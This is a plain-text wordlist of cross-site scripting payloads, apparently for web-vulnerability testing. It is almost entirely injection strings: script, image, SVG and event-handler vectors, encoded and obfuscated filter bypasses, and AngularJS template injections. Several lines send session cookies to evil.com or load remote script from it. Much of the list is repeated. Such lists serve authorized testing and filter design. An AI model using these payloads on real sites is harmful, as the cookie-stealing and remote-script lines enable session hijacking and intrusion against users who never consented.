# 0xHunter XSS Payloads
# These payloads test for various XSS vectors
# Use responsibly and only on authorized targets

# Basic Script Tags
<script>alert('XSS')</script>
<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>

# Image Tags
<img src=x onerror=alert('XSS')>
<img src=x onerror=alert("XSS")>
<img src=x onerror=alert(String.fromCharCode(88,83,83))>

# SVG Tags
<svg onload=alert('XSS')>
<svg onload=alert("XSS")>
<svg><script>alert('XSS')</script></svg>

# Body Tag
<body onload=alert('XSS')>

# Iframe
<iframe src=javascript:alert('XSS')>
<iframe src="javascript:alert('XSS')">

# Input Tag
<input onfocus=alert('XSS') autofocus>

# Details Tag
<details open ontoggle=alert('XSS')>

# Marquee Tag
<marquee onstart=alert('XSS')>

# Anchor Tag
<a href=javascript:alert('XSS')>click</a>
<a href="javascript:alert('XSS')">click</a>

# Object Tag
<object data=javascript:alert('XSS')>

# Embed Tag
<embed src=javascript:alert('XSS')>

# Event Handlers
<img src=x onmouseover=alert('XSS')>
<div onmouseover=alert('XSS')>hover me</div>

# Encoded Variants
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

# Template Literals
<script>alert`XSS`</script>

# Data URI
<iframe src="data:text/html,<script>alert('XSS')</script>">

# JavaScript Protocol
javascript:alert('XSS')<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<math><mtext></table><img src=x onerror=alert(1)>
javascript:alert(1)
'\"><script>alert(1)</script>
<script>alert`1`</script>
<ScRiPt>alert(1)</ScRiPt>
<script/x>alert(1)</script>
<<script>alert(1)//<</script>
<scr<script>ipt>alert(1)</scr</script>ipt>
%3Cscript%3Ealert(1)%3C/script%3E
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
<img src=1 onerror="javascript:alert(1)">
\"><img src=x onerror=alert(1)>
';alert(1)//
\";alert(1)//
</script><script>alert(1)</script>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1)>
<svg><set onbegin=alert(1)>
<object data=javascript:alert(1)>
<a href=javascript:alert(1)>click</a>
<form><button formaction=javascript:alert(1)>X</button></form>
<isindex action=javascript:alert(1) type=submit>
<svg onload=alert(document.cookie)>
<img src=x onerror=alert(document.domain)>
<script>alert(document.cookie)</script>
<script>fetch('https://evil.com?c='+document.cookie)</script>
<script>new Image().src='https://evil.com/?c='+document.cookie</script>
<iframe srcdoc='<script>alert(1)</script>'>
<base href=javascript:alert(1)//>
<link rel=stylesheet href=javascript:alert(1)>
<table background=javascript:alert(1)>
<div style=background:url(javascript:alert(1))>
<style>@import 'javascript:alert(1)'</style>
<meta http-equiv=refresh content="0;url=javascript:alert(1)">
<xss onmouseover=alert(1)>hover</xss>
<marquee onstart=alert(1)>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen autofocus onfocus=alert(1)>
<button onclick=alert(1)>click</button>
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><input autofocus>
<script>setTimeout(alert,0,1)</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<script>\u0061lert(1)</script>
<script>window['ale'+'rt'](1)</script>
<script>this['ale'+'rt'](1)</script>
<script>top['ale'+'rt'](1)</script>
<!--<img src=x onerror=alert(1)>-->
<noscript><img src=x onerror=alert(1)></noscript>
<script>/*</script><img src=x onerror=alert(1)>
"><svg onload=alert(1)>
'><svg onload=alert(1)>
<img src="x" onerror="&#97;lert(1)">
<script>&#97;lert(1)</script>
<a href="&#106;avascript:alert(1)">click</a>
<script>window.onerror=alert;throw 1</script>
<img src onerror=alert(1)>
<svg/onload=alert(1)>
<svg	onload=alert(1)>
<img/src=x/onerror=alert(1)>
<script>+alert(1)</script>
<script>!alert(1)</script>
<script>~alert(1)</script>
<body/onload=alert(1)>
<b onmouseover=alert(1)>hover</b>
<p onmousemove=alert(1)>move</p>
<div onclick=alert(1)>click</div>
<span onmouseenter=alert(1)>enter</span>
<h1 ondrag=alert(1) draggable=true>drag</h1>
<input type=text value="" onfocus=alert(1) autofocus>
<script>document.write('<img src=x onerror=alert(1)>')</script>
<script>document.body.innerHTML='<img src=x onerror=alert(1)>'</script>
<script>location='javascript:alert(1)'</script>
<script>location.href='javascript:alert(1)'</script>
<script>location.assign('javascript:alert(1)')</script>
<script>location.replace('javascript:alert(1)')</script>
<script>window.location='javascript:alert(1)'</script>
<script>document.URL='javascript:alert(1)'</script>
<script>history.pushState('','','/alert(1)')</script>
<script>Object.defineProperty(window,'x',{get:function(){alert(1)}})</script>
<iframe onload=alert(1) src=data:text/html,x>
<svg><use href=data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='x' onerror='alert(1)'/></svg>#x>
<math href=javascript:alert(1)>click</math>
<form id=x></form><button form=x formaction=javascript:alert(1)>click</button>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};alert(1)</script>
<script>for(i in self){if(/alert/.test(i)){self[i](1)}}</script>
<svg><animate attributeName=x dur=1s values=1;alert(1) begin=0s repeatCount=2>
<a href="javascript&#58;alert(1)">click</a>
<a href="javascript&#x3A;alert(1)">click</a>
<a href="java script:alert(1)">click</a>
<a href="java&#09;script:alert(1)">click</a>
<a href="java&#10;script:alert(1)">click</a>
<a href="java&#13;script:alert(1)">click</a>
<script>var x=String;x.prototype.toString=function(){return 'alert(1)'};eval(new String)</script>
<script>window.__proto__.alert=console.log;alert=window.alert;alert(1)</script>
<img src=x:x onerror=alert(1)>
<script src=data:,alert(1)></script>
<script src=//evil.com/xss.js></script>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<math><mtext></table><img src=x onerror=alert(1)>
javascript:alert(1)
'\"><script>alert(1)</script>
<script>alert`1`</script>
<ScRiPt>alert(1)</ScRiPt>
<script/x>alert(1)</script>
%3Cscript%3Ealert(1)%3C/script%3E
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;
\"><img src=x onerror=alert(1)>
';alert(1)//
\";alert(1)//
</script><script>alert(1)</script>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1)>
<object data=javascript:alert(1)>
<a href=javascript:alert(1)>click</a>
<script>alert(document.cookie)</script>
<script>fetch('https://evil.com?c='+document.cookie)</script>
<iframe srcdoc='<script>alert(1)</script>'>
<div style=background:url(javascript:alert(1))>
<meta http-equiv=refresh content="0;url=javascript:alert(1)">
<marquee onstart=alert(1)>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<button onclick=alert(1)>click</button>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>\u0061lert(1)</script>
<script>window['ale'+'rt'](1)</script>
<script>top['ale'+'rt'](1)</script>
<script>window.onerror=alert;throw 1</script>
<img src onerror=alert(1)>
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<body/onload=alert(1)>
<script>location='javascript:alert(1)'</script>
<script>location.href='javascript:alert(1)'</script>
<iframe onload=alert(1) src=data:text/html,x>
<a href="javascript&#58;alert(1)">click</a>
<a href="javascript&#x3A;alert(1)">click</a>
<a href="java	script:alert(1)">click</a>
<script src=data:,alert(1)></script>
<img src=x:x onerror=alert(1)>
"><svg onload=alert(1)>
'><svg onload=alert(1)>
<svg	onload=alert(1)>
<b onmouseover=alert(1)>hover</b>
<div onclick=alert(1)>click</div>
<span onmouseenter=alert(1)>enter</span>
<h1 ondrag=alert(1) draggable=true>drag</h1>
<input type=text value="" onfocus=alert(1) autofocus>
<script>document.body.innerHTML='<img src=x onerror=alert(1)>'</script>
<form id=x></form><button form=x formaction=javascript:alert(1)>click</button>
<svg><animate attributeName=x dur=1s values=1;alert(1) begin=0s repeatCount=2>
<script>for(i in self){if(/alert/.test(i)){self[i](1)}}</script>
<math href=javascript:alert(1)>click</math>
<noscript><img src=x onerror=alert(1)></noscript>
<style>@import 'javascript:alert(1)'</style>
<link rel=stylesheet href=javascript:alert(1)>
<table background=javascript:alert(1)>
<base href=javascript:alert(1)//>
<script>document.location='http://evil.com/?c='+document.cookie</script>
<script>new Image().src='http://evil.com/?c='+document.cookie</script>
<img src=x onerror="this.src='http://evil.com/?c='+document.cookie">
<svg onload="document.location='http://evil.com/?c='+document.cookie">
<body onload="document.location='http://evil.com/?c='+document.cookie">
<script>window.addEventListener('load',function(){document.location='http://evil.com/?c='+document.cookie})</script>
<script>document.write('<img src="http://evil.com/?c='+document.cookie+'">')</script>
<input type="hidden" value="<script>alert(1)</script>">
<textarea><script>alert(1)</script></textarea>
"><script>alert(document.domain)</script>
'><script>alert(document.domain)</script>
<script>alert(document.domain)</script>
<script>alert(window.origin)</script>
<script>alert(location.href)</script>
{{constructor.constructor('alert(1)')()}}
${constructor.constructor('alert(1)')()}
#"><img src=x onerror=alert(1)>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script><div ng-app><div ng-include="'http://evil.com/xss.html'"></div></div>
<div ng-app ng-csp><input ng-focus=$event.view.alert(1) autofocus>
<script>throw/a/,Uncaught=1</script>
<script>throw 1</script>
<script>onerror=alert;throw 1</script>
<script>onerror=eval;throw'=alert\x281\x29'</script>
<script>{onerror=alert}throw 1</script>
<script>Error=alert;throw 1</script>
<script>try{}catch(e){}</script><script>onerror=alert;throw 1</script>
<img src onerror=alert(1) style=display:none>
<p style="animation-name:x" onanimationstart="alert(1)">
<style>:target{color:red}a:target~*{animation:x 1s}@keyframes x{}</style><a id=x href="#x"><script>alert(1)</script></a>
<script>alert(1)//
<script>alert(1)/*
<script>alert(1)-->
